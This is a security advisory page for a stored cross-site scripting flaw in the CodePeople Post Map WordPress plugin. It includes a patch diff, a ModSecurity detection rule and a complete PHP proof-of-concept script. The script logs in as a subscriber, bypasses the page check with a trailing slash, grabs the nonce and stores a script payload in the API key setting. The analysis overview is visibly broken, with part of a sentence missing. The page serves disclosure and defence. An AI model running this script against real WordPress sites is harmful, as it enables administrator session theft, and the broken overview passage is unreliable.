Published : November 22, 2026

CVE-2026-133369: CodePeople Post Map for Google Maps <= 1.3.0 Authenticated (Subscriber+) Stored Cross-Site Scripting via Google Maps 'api_key' Setting PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.3.0
Patched Version 1.3.1
Disclosed November 19, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-133369: The CodePeople Post Map for Google Maps plugin (versions alert(document.cookie). The nonce is rendered on the same page, so the attacker can obtain it. The malicious script is stored and executes whenever an admin visits the plugin settings page or any page where the API key is output, leading to session hijacking or other malicious actions.

Patch Analysis: The patch introduces a dedicated sanitize_api_key function that removes all characters except A-Z, a-z, 0-9, underscore, and dash, ensuring the API key cannot contain markup. It also enforces a capability check (manage_options) at the start of settings_page, preventing subscribers from accessing the form. Additionally, the patch separates the help, question, and upgrade pages into their own methods and fixes nonce handling with sanitize_text_field and wp_unslash. These changes collectively eliminate the XSS vector by restricting access and sanitizing the API key input and output.

Impact: Successful exploitation allows an attacker to inject arbitrary web scripts that execute in the context of an administrator’s browser. This can lead to cookie theft, session hijacking, privilege escalation (by creating new admin users), or defacement. The vulnerability requires authentication but subscriber-level access is commonly available on WordPress sites with open registration or membership plugins.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/codepeople-post-map/codepeople-post-map.php
+++ b/codepeople-post-map/codepeople-post-map.php
@@ -2,7 +2,7 @@
 /*
 Plugin Name: CodePeople Post Map for Google Maps
 Text Domain: codepeople-post-map
-Version: 1.3.0
+Version: 1.3.1
 Author: CodePeople
 Author URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
 Plugin URI: http://wordpress.dwbooster.com/content-tools/codepeople-post-map
@@ -152,11 +152,11 @@

 				add_menu_page( 'CodePeople Post Map for Google Maps', 'CodePeople Post Map for Google Maps', 'manage_options', $slug, array(&$cpm_master_obj, 'settings_page'), 'data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAyNCAyNCIgd2lkdGg9IjI0IiBoZWlnaHQ9IjI0IiBmaWxsPSJjdXJyZW50Q29sb3IiPg0KICA8cGF0aCBkPSJNMTIgMmMzLjE5NiAwIDYgMi42MTggNiA1LjYwMiAwIDMuMDkzLTIuNDkzIDcuMTMyLTYgMTIuNTkxLTMuNTA3LTUuNDU5LTYtOS40OTgtNi0xMi41OTFDNiA0LjYxOCA4LjgwNCAyIDEyIDJ6bTAgNGEyIDIgMCAxIDAgMCA0IDIgMiAwIDAgMCAwLTR6Ii8+DQo8L3N2Zz4=' );

-				add_submenu_page( $slug, 'Online Help', 'Online Help', 'read', 'google_maps_cp_help', array(&$cpm_master_obj, 'settings_page') );
+				add_submenu_page( $slug, 'Online Help', 'Online Help', 'read', 'google_maps_cp_help', array(&$cpm_master_obj, 'help_page') );

-				add_submenu_page( $slug, 'I've a Question', 'I've a Question', 'read', 'google_maps_cp_question', array(&$cpm_master_obj, 'settings_page') );
+				add_submenu_page( $slug, 'I've a Question', 'I've a Question', 'read', 'google_maps_cp_question', array(&$cpm_master_obj, 'question_page') );

-				add_submenu_page( $slug, 'Upgrade', 'Upgrade', 'read', 'google_maps_cp_upgrade', array(&$cpm_master_obj, 'settings_page') );
+				add_submenu_page( $slug, 'Upgrade', 'Upgrade', 'read', 'google_maps_cp_upgrade', array(&$cpm_master_obj, 'upgrade_page') );
 			}
 		}
 	}
--- a/codepeople-post-map/include/functions.php
+++ b/codepeople-post-map/include/functions.php
@@ -109,6 +109,17 @@
 		return wp_kses_post( $v );
 	} // End sanitize_description

+	function sanitize_api_key( $v )
+	{
+		if ( ! is_string( $v ) ) return '';
+		$v = trim( $v );
+		if ( '' === $v ) return '';
+		// Google Maps API keys contain only letters, digits, dashes and underscores.
+		// Removing every other character guarantees the value can never carry
+		// markup into the admin JavaScript.
+		return preg_replace( '/[^A-Za-z0-9_-]/', '', $v );
+    } // End sanitize_api_key
+
 	//---------- CREATE MAP ----------

 	/**
@@ -937,7 +948,7 @@
 		$api_key = $this->get_configuration_option( 'api_key' );
 		if( !empty( $api_key ) )
 		{
-			$cpm_global[ 'api_key' ] = trim($api_key);
+			$cpm_global[ 'api_key' ] = $this->sanitize_api_key( $api_key );
 		}
 		wp_localize_script('admin_cpm_script', 'cpm_global', $cpm_global);
 	} // End load_admin_resources
@@ -992,34 +1003,37 @@
 		echo '<style>.cpm-map img{ max-width: none !important;box-shadow:none !important;}</style>';
 	} // End load_header_resources

+	function help_page(){
+		echo("Redirecting to documentation...<script type='text/javascript'>document.location='http://wordpress.dwbooster.com/content-tools/codepeople-post-map?acode=18517';</script>");
+		exit;
+	}
+
+	function question_page(){
+		echo("Redirecting to documentation...<script type='text/javascript'>document.location='https://wordpress.org/support/plugin/codepeople-post-map/#new-post';</script>");
+		exit;
+	}
+
+	function upgrade_page(){
+		echo("Redirecting to upgrade page...<script type='text/javascript'>document.location='http://wordpress.dwbooster.com/content-tools/codepeople-post-map?acode=18517#download';</script>");
+		exit;
+	}
+
 	/**
 	 * Print the settings page for entering the general setting's data of maps
 	 */
 	function settings_page(){
-		if (isset($_GET["page"]))
-        {
-			if( $_GET["page"] == 'google_maps_cp_upgrade' )
-			{
-				echo("Redirecting to upgrade page...<script type='text/javascript'>document.location='http://wordpress.dwbooster.com/content-tools/codepeople-post-map?acode=18517#download';</script>");
-				exit;
-			}
-			elseif( $_GET["page"] == 'google_maps_cp_help')
-			{
-				echo("Redirecting to documentation...<script type='text/javascript'>document.location='http://wordpress.dwbooster.com/content-tools/codepeople-post-map?acode=18517';</script>");
-				exit;
-			}
-			elseif( $_GET["page"] == 'google_maps_cp_question')
-			{
-				echo("Redirecting to documentation...<script type='text/javascript'>document.location='https://wordpress.org/support/plugin/codepeople-post-map/#new-post';</script>");
-				exit;
-			}
-
-        }
+		if ( ! current_user_can( 'manage_options' ) ){
+			wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'codepeople-post-map'), 403 );
+		}

 		// Check if post exists and save the configuraton options
-		if (isset($_POST['cpm_map_noncename']) && wp_verify_nonce($_POST['cpm_map_noncename'],__FILE__)){
+		if (
+			isset( $_POST['cpm_map_noncename'] ) &&
+			wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['cpm_map_noncename'] ) ), __FILE__ )
+		){
 			$options = $_POST['cpm_map'];
 			$options = $this->array_map_recursive('sanitize_text_field', $options);
+			$options['api_key'] = $this->sanitize_api_key( isset($options['api_key']) ? $options['api_key'] : '' );
 			$options['drag_map'] = ( isset( $options[ 'drag_map' ] ) ) ? true : false;
             $options['windowhtml'] = $this->get_configuration_option('windowhtml');
 			update_option('cpm_config', $options);
@@ -1525,7 +1539,7 @@
 			$output  .= 'var cpm_language = {"lng":' . wp_json_encode( $default_language ) . '};';

 		$api_key = $this->get_configuration_option( 'api_key' );
-		$output .= 'var cpm_api_key = ' . wp_json_encode( (!empty( $api_key )) ? trim($api_key) : '' ) . ";n";
+		$output .= 'var cpm_api_key = ' . wp_json_encode( (!empty( $api_key )) ? $this->sanitize_api_key( $api_key ) : '' ) . ";n";

 		$output .= "var cpm_global = cpm_global || {};n";
 		$output .= "cpm_global[" . $map_id_json . "] = {}; n";

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-133369
SecRule REQUEST_URI "@rx ^/wp-admin/admin.php$" 
  "id:2026133369,phase:2,deny,status:403,chain,msg:'CVE-2026-133369 via CodePeople Post Map api_key XSS',severity:'CRITICAL',tag:'CVE-2026-133369',tag:'WordPress'"
  SecRule ARGS_GET:page "@rx ^google_maps_cp_(help|question|upgrade)/?$" "chain"
    SecRule ARGS_POST:cpm_map[api_key] "@rx <script|javascript:|onerror|onload" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-133369 - CodePeople Post Map for Google Maps <= 1.3.0 - Authenticated (Subscriber+) Stored XSS via 'api_key' Setting

$target_url = 'http://example.com'; // WordPress site URL
$username = 'subscriber'; // Subscriber-level credentials
$password = 'password';

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Step 1: Login as subscriber
echo "[*] Logging in as subscriber...n";
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_HEADER, true);
$response = curl_exec($ch);
if (strpos($response, 'wp-admin') === false) {
    die("[-] Login failed. Check credentials.n");
}
echo "[+] Login successful.n";

// Step 2: Access the settings page to obtain nonce (using trailing-slash bypass if needed)
echo "[*] Fetching settings page to extract nonce...n";
$settings_url = $target_url . '/wp-admin/admin.php?page=google_maps_cp_help/'; // Trailing slash bypass
curl_setopt($ch, CURLOPT_URL, $settings_url);
curl_setopt($ch, CURLOPT_POST, false);
curl_setopt($ch, CURLOPT_HEADER, false);
$page = curl_exec($ch);

// Extract nonce from the page (look for cpm_map_noncename)
if (!preg_match('/name="cpm_map_noncename" value="([^"]+)"/', $page, $matches)) {
    die("[-] Could not find nonce. The bypass may have failed.n");
}
$nonce = $matches[1];
echo "[+] Nonce found: $noncen";

// Step 3: Submit malicious payload in api_key
echo "[*] Sending payload...n";
$payload = 'x"><script>alert(document.cookie)</script>';
$post_data = array(
    'cpm_map_noncename' => $nonce,
    'cpm_map' => array(
        'api_key' => $payload,
        'drag_map' => 'on' // optional
    ),
    'submit' => 'Save Changes'
);

$post_url = $target_url . '/wp-admin/admin.php?page=google_maps_cp_help/';
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$response = curl_exec($ch);

if (strpos($response, 'Settings saved') !== false) {
    echo "[+] Payload stored successfully.n";
} else {
    echo "[?] Response does not indicate success. Check manually.n";
}

// Step 4: Trigger payload by visiting a page where it's output (e.g., admin settings page)
echo "[!] Payload stored. Visit the plugin settings page as admin to trigger XSS.n";

curl_close($ch);
unlink('cookies.txt');
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.